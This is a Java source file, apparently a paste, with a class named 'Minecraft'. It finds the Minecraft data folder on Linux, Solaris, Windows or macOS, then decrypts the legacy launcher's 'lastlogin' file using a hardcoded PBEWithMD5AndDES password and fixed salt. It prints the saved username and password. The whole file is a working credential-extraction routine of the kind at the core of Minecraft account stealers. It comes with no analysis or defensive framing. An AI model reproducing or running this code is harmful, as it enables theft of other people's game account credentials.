BN7Ppxbq

1
2import java.io.*;
3import java.net.*;
4import java.util.*;
5
6import javax.crypto.*;
7import javax.crypto.spec.*;
8
9public class Minecraft {
10
11	static byte[] salt = new byte[8];
12	public static String homePath = System.getProperty("user.home", ".");
13	static File wD;
14	static String aD = System.getenv("APPDATA");
15	static String user;
16	static String pass = "";
17
18	public static File getwD() {
19		switch (getPF()) {
20		case 1:
21		case 2:
22			wD = new File(homePath, ".minecraft/");
23			break;
24		case 3:
25			if (aD != null) {
26				wD = new File(aD, ".minecraft/"); 
27			} else {
28				wD = new File(homePath, ".minecraft/");
29			}
30			break;
31		case 4:
32			wD = new File(homePath, "Library/Application Support/minecraft");
33			break;
34		default:
35			wD = new File(homePath, ".minecraft/");
36		}
37		return wD;
38	}
39
40	private static int getPF() {
41		String osName = System.getProperty("os.name").toLowerCase();
42		if (osName.contains("linux")) {
43			return 1;
44		}
45		if (osName.contains("unix")) {
46			return 1;
47		}
48		if (osName.contains("solaris")) {
49			return 2;
50		}
51		if (osName.contains("sunos")) {
52			return 2;
53		}
54		if (osName.contains("win")) {
55			return 3;
56		}
57		if (osName.contains("mac")) {
58			return 4;
59		}
60		return 5;
61	}
62
63	public static void main(String[] args) {
64		System.out.println(fetchCreds());
65	}
66	public static String fetchCreds(){
67		try {
68			Random random = new Random(43287234L);
69			byte[] salt = new byte[8];
70			random.nextBytes(salt);
71			PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
72			SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
73			Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
74			cipher.init(2, pbeKey, pbeParamSpec);
75			File passFile = new File(getwD(), "lastlogin");
76			DataInputStream dis = null;
77			{
78				dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
79			}
80			user = dis.readUTF();
81			pass = dis.readUTF();
82			dis.close();
83			return user+":"+pass;
84		} catch (Exception ex) {
85			ex.printStackTrace();
86		}
87		return user+":"+pass;
88	}
89}